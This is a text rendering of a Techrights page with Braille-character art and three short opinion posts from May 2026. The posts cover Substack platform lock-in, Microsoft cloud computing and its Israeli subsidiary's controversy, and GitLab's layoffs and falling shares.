⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ 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⣿⣿⣿⣝⣛⣛⣛⣛⣛⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣸⣿⣿⣿⣿⣿ ⣿⣿⣿⣵⣶⡶⢶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡌⢧⣿⣿⣿⢙⡫⣭⡭⣝⢽⡫⢝⣹⠉⠉⠩⠝⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣬⣼⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣛⠍⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠟⡿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣮⣥⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⣿⣿⣿⣾⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣤⣤⣤⣦⣤⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⡿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣾⣿⢟⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢹⣿⣿⣿⣿⡿⠿⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣆⣳⣿⣿⣿⣈⣐⣖⣇⣀⣀⣀⣪⣻⣂⣪⣒⣐⣕⣂⣇⣃⣑⣇⣯⣈⣒⣕⣐⣸⣁⣀⣰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣸⣿⣿⣿⣿⣷⣾⣾⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣯⣕⣐⣸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢋⡟⣿⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣷⣶⣿⣿⣿⣉⣉⣹⣁⣯⣉⣯⣩⣉⣹⣫⣩⢋⣉⢿⣍⣩⣉⣏⣈⣹⣻⣉⣹⣉⣝⣅⣹⣹⣹⣉⣾⣯⣉⣉⣉⣉⣏⣁⣍⣹⣉⣉⣙⣯⣉⡉⣉⣉⣉⣁⣁⣉⣇⣍⣽⣁⣉⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠙⡛⢛⠛⠋⠛⠛⡟⠛⠛⢹⠛⠛⢻⡻⠫⠋⡭⠿⡹⠋⠫⠉⠹⠽⠛⠛⢹⡛⠋⠋⠙⠟⠛⢿⠛⠛⠛⠛⠛⡟⠛⠛⠛⠛⠛⠛⠋⢉⡍⡝⠛⠛⢻⠛⠛⠛⢻⠛⠛⢻⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⠿⠟⠿⣿⠿⠿⠟⠟⠿⡿⠿⠟⡿⠿⠿⠻⠿⠿⡿⠿⠟⡿⡻⠿⣿⢿⠿⡿⠿⠻⢿⠿⠿⠿⠿⠿⠞⠻⠻⢿⢻⠿⣿⠻⢿⡿⣿⣿⣿⣿⣿⣿⣿⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣦⣶⣶⣷⣶⣷⣶⣶⣶⣷⣶⣶⣷⣶⣶⣶⣶⣶⣶⣶⣶⣷⣶⣶⣷⣾⣶⣶⣶⣦⣷⣷⣶⣴⣶⣶⣶⣶⣶⣾⣶⣾⣷⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⢻⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 556 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Beehiiv_and_Substack_Are_Platform_Lock_in_Similar_to_Vendor_Loc.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Beehiiv_and_Substack_Are_Platform_Lock_in_Similar_to_Vendor_Loc.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Beehiiv and Substack Are Platform Lock-in (Similar to Vendor Lock-in), Don't Use Beehiiv and Substack (and the Likes of These)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026, updated May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Substack⦈_ For argument's sake and concision we shall focus on Substack Substack tries to sell itself as free speech, independence, and mostly "monetisation" (a model by which to get paid by so-called "subscribers" or regular readers). But who controls "publishers" and "subscribers"? The answer should be obvious, but apparently many people are still_not_getting_it. Some who foolishly fled into Substack are now fleeing (away from) Substack. They recognise it is a trap and was a trap all along. Set aside the lack of future prospects of Substack (possible commercial shutdown, price and term/s changes, censorship/moderation policies, access restrictions globally or per region). In Substack, one can be held accountable/ liable for the publications of other users, not by mere association/reputation; one day Substack will be shut down, it's only a question of when and why. Users of Substack (producers and 'consumers') are at the mercy of someone else, including corporate-esque MBA-led decisions. According to Ben Werdmuller, Substack "has been promoting social media style following relationships over true subscriptions, and only allows creators to export their subscribers should they choose to move." Why move at all? Why use it in the first place? We've been around for nearly 20 years (a few days ago it was 19.5 years - a milestone passed by the sister site in_2023). Proprietary software was always avoided by us, so transitions were possible without being tied to anything except the domains. Proprietary platforms are a problem. Some people "get it" sooner than others. How many TypePad users lost everything last year? [1, 2, 3] █ * Gitlab_is_in_Trouble_and_Its_Shares_Have_Collapsed * If_IBM_Suddenly_Vanished_in_the_1980s,_There_Would_be_Chaos._Not_Anymore. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀ ⠿⠿⠿⠿⠿⠿⠿⠿⠇⠀⠀⢀⡴⠞⠛⠷⡦⠀⠀⢰⡆⠀⠀⠀⠀⢰⡆⠀⠀⣿⣤⠶⠛⠳⢦⡄⠀⠀⢠⡶⠞⠛⠶⡦⠀⠀⠶⢾⡷⠶⠶⠀⠀⢠⠶⠚⠛⠳⣦⡀⠀⠀⢀⣴⠾⠛⠷⣦⡀⠀⢸⣿⠀⠀⣠⠖⠀⠀ ⠶⠶⠶⠶⠶⠶⠶⠶⠆⠀⠀⢸⣇⡀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⢸⡇⠀⠀⣿⠁⠀⠀⠀⠈⢿⡄⠀⢸⣇⡀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⣾⠃⠀⠀⠀⠈⠀⠀⢸⣿⣠⣾⣇⠀⠀⠀ ⣶⣶⣶⣶⣶⣶⣶⣶⡆⠀⠀⠀⠉⠛⠷⣦⣄⠀⠀⢸⡇⠀⠀⠀⠀⢸⡇⠀⠀⣿⠀⠀⠀⠀⠀⢸⡇⠀⠀⠉⠛⠶⣦⣄⠀⠀⠀⢸⡇⠀⠀⠀⠀⣴⠞⠛⠛⠛⢾⡇⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⢸⣿⠋⠀⢻⣄⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠸⣧⠀⠀⠀⠀⣼⡇⠀⠀⣿⡀⠀⠀⠀⢀⣾⠃⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⢸⡇⠀⠀⠀⠐⣯⠀⠀⠀⠀⢸⡇⠀⠀⢿⡄⠀⠀⠀⢀⡀⠀⢸⣿⠀⠀⠀⢻⡄⠀ ⡿⠟⠋⠁⠀⠉⠻⢿⡇⠀⠀⠘⠷⢦⣤⡴⠟⠁⠀⠀⠻⢷⣤⡴⠞⠻⠇⠀⠀⠿⠛⠶⣤⣴⠾⠋⠀⠀⠘⠷⢦⣤⡴⠟⠁⠀⠀⠘⢿⣦⡄⠀⠀⠻⢶⣤⡤⠖⠻⠇⠀⠀⠈⠻⢶⣤⡶⠟⠁⠀⠸⠿⠀⠀⠀⠀⠻⠆ ䷩ 𝚕𝚒𝚗𝚎 625 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/GAFAM_Microsoft_Cloud_Computing_Means_Another_Country_s_Militar.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/GAFAM_Microsoft_Cloud_Computing_Means_Another_Country_s_Militar.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ GAFAM (Microsoft) "Cloud Computing" Means Another Country's Military Accesses All Your Data⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 The latest Microsoft scandal (which sank its stock): * What_is_happening_at_Microsoft_Israel?_Shake-up_deepens_after_review_of Defense_Ministry_ties * Microsoft_said_to_probe_Israel_office’s_defense_ties * Microsoft_fires_head_of_Israeli_subsidiary_and_other_managers_over surveillance_of_Palestinians * Microsoft_Israel_chief_leaves_amid_ethical_controversy * “…Lack_of_Confidence_in_the_Israeli_Management”:_Microsoft_Stock_(NASDAQ: MSFT)_Slips_as_Israeli_Connections_Examined Clown_Computing means relying on clowns in unethical companies running your systems and controlling your data. Why would one trust GAFAM? Heck, why would any company trust another company to serve its own interest? The above scandal is yet another reminder that confidentiality and Clown Computing are complete opposites. Those are incompatible concepts. █ * Another_Discrimination_Lawsuit_Against_IBM_and_Workers_Say_IBM_Culls Older_Workers_(Just_Like_Microsoft) * IRC_Proceedings:_Monday,_May_11,_2026 ䷩ 𝚕𝚒𝚗𝚎 671 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Gitlab_is_in_Trouble_and_Its_Shares_Have_Collapsed.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Gitlab_is_in_Trouble_and_Its_Shares_Have_Collapsed.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Gitlab is in Trouble and Its Shares Have Collapsed⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 Down almost 80% since it began 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Gitlab Inc⦈ A bubble deflated. This morning we wrote about the_latest_spin (not spinoff) from Gitlab, a company that had_amassed_plenty_of_debt, laid off a ton of employees, paid_back its_debt, and is now laying off many more employees based on false pretexts (it's the typical GAFAM-esque "investing_in_hey_hi" catch-all excuse). They try to brush it off as mere_"restructuring", the shares_have_collapsed (shareholders are not buying the story), and to quote_one_report: "Currently, the company employs more than 2,500 people across more than 65 countries on a fully remote basis. SiliconRepublic.com has reached GitLab for information on the impact of the layoffs on Ireland-based employees. [...] The latest cuts come after GitLab laid off around 130 workers in 2023 to “withstand the growing global economic downturn”." In this case, Suhasini Srinivasaragavan of Silicon Republic helps perpetuate the lies about "hey hi". Shallow, lazy stenography. The real issue has nothing to do with slop, it is a lack/loss of customers and erosion of the company's theoretical "value" (in case it gets acquired by a much larger company, which is probably what it aimed for all along). █ * Microsoft:_Mass_Layoffs_Are_"Offers"_(Like_"Job_Offers"),_Culling Experienced_and_Highly-Paid_Staff_is_"Softer_Workforce-reduction Strategy" * Beehiiv_and_Substack_Are_Platform_Lock-in_(Similar_to_Vendor_Lock-in), Don't_Use_Beehiiv_and_Substack_(and_the_Likes_of_These) ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 